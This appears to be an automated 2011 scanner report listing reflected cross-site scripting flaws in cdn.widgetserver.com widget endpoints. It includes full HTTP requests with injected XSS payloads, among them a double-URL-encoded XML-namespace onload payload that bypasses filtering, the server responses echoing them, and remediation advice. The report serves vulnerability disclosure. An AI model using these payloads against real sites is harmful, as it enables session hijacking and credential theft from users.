XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, cdn.widgetserver.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Apr 28 08:29:08 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading


1. Cross-site scripting (reflected)

1.1. http://cdn.widgetserver.com/syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/ [REST URL parameter 14]

1.2. http://cdn.widgetserver.com/syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/ [REST URL parameter 4]

1.3. http://cdn.widgetserver.com/syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/ [REST URL parameter 18]

1.4. http://cdn.widgetserver.com/syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/ [REST URL parameter 4]

2. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://cdn.widgetserver.com/syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/ [REST URL parameter 14]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cdn.widgetserver.com
Path:   /syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/

Issue detail

The value of REST URL parameter 14 is copied into the HTML document as plain text between tags. The payload c0d60<img%20src%3da%20onerror%3dalert(1)>f04bb18f6c6 was submitted in the REST URL parameter 14. This input was echoed as c0d60<img src=a onerror=alert(1)>f04bb18f6c6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21c0d60<img%20src%3da%20onerror%3dalert(1)>f04bb18f6c6/u/3/?callback=WIDGETBOX.subscriber.Main.onWidgetInfoResponse HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://www.cbs.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Wed, 27 Apr 2011 23:15:41 GMT
Expires: Sat, 30 Apr 2011 23:14:41 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 9253

WIDGETBOX.subscriber.Main.onWidgetInfoResponse({"widgets":[{"enabledState":"0","initParams":"wbx_hidden_tabs=&wbx_theme_mod=%23FFFFFF&wbx_stageHeight=&var_SITE=http%3A%2F%2Fad.doubleclick.net%2Fclk%3B
...[SNIP]...
s":false,"isAdEnabled":false,"adPlacement":"TL","categories":"","thumbFilePath":"/thumbs/e8cf8788-6b03-4c0c-8d03-44a859eb3751.png?36"}],"token":"30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21c0d60<img src=a onerror=alert(1)>f04bb18f6c6"});

1.2. http://cdn.widgetserver.com/syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c4b91<a>904519e1e4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /syndication/json/i/cc396f99-ff24-4e7b-bd0c-32d96c3767c8c4b91<a>904519e1e4/iv/5/p/3/r/e8cf8788-6b03-4c0c-8d03-44a859eb3751/rv/36/t/30b2593ec7bf2492f0b9d19e64b204a8e259fcf60000012f98d80b21/u/3/?callback=WIDGETBOX.subscriber.Main.onWidgetInfoResponse HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://www.cbs.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: application/x-javascript;charset=UTF-8
Date: Wed, 27 Apr 2011 23:15:28 GMT
Expires: Sun, 7 May 1995 12:00:00 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Pragma: no-cache
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 1161

WIDGETBOX.subscriber.Main.onWidgetInfoResponse({"widgets":[{"userPK":"","initParams":"","hasDynamicStyle":false,"appId":"cc396f99-ff24-4e7b-bd0c-32d96c3767c8c4b91<a>904519e1e4","providerServiceLevel":"","fromPartnerNetworkCode":"","appWidth":"120","appHeight":"120","subscribeMode":"DISABLE_GW","regPK":"","instServiceLevel":"","shortDescr":"","serviceLevel":"","hasDynamicSiz
...[SNIP]...

1.3. http://cdn.widgetserver.com/syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/ [REST URL parameter 18]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/

Issue detail

The value of REST URL parameter 18 is copied into the XML document as plain text between tags. The payload 233d7%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ef2cce1b4f15 was submitted in the REST URL parameter 18. This input was echoed as 233d7<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>f2cce1b4f15 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The response into which the attack is echoed contains XML data, which is not by default processed by the browser as HTML. However, by injecting XML elements which create a new namespace it is possible to trick some browsers (including Firefox) into processing part of the response as HTML. Note that this proof-of-concept attack is designed to execute when processed by the browser as a standalone response, not when the XML is consumed by a script within another page.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 18 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669233d7%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%25281%2529%2527%252f%253e%253c%252fa%253ef2cce1b4f15/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://cdn.widgetserver.com/syndication/flash/blidget/blidget.swf?cb=49217
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Wed, 27 Apr 2011 23:17:02 GMT
Expires: Sat, 30 Apr 2011 23:16:02 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 3414

<response><widgets><widget><token>24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669233d7<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>f2cce1b4f15</token><app-id>54b05
...[SNIP]...

1.4. http://cdn.widgetserver.com/syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/ [REST URL parameter 4]  previous

Summary

Severity:   High
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46ece/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload b7e79<a>022e5f546dc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /syndication/xml/i/54b05723-2d57-4335-b0fe-2a325ee46eceb7e79<a>022e5f546dc/iv/27/n/code/nv/4/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/465/t/24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://cdn.widgetserver.com/syndication/flash/blidget/blidget.swf?cb=49217
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/xml;charset=UTF-8
Date: Wed, 27 Apr 2011 23:16:41 GMT
Expires: Sun, 7 May 1995 12:00:00 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Pragma: no-cache
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 1696

<response><widgets><widget><token>24a959472d426540cf6e325aebfb47c99af45bcf0000012f988ee669</token><app-id>54b05723-2d57-4335-b0fe-2a325ee46eceb7e79<a>022e5f546dc</app-id><reg-id></reg-id><friendly-id>
...[SNIP]...

2. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=UTF-8
Date: Thu, 28 Apr 2011 10:31:43 GMT
ETag: "47e-44a9bfa34e740+gzip"
Last-Modified: Fri, 11 Apr 2008 17:08:05 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: ECS (dca/5329)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1150

............ .h.......(....... ..... .......................................................-$......................................................-H..-...-...........................................
...[SNIP]...

Report generated by XSS.CX at Thu Apr 28 08:29:08 CDT 2011.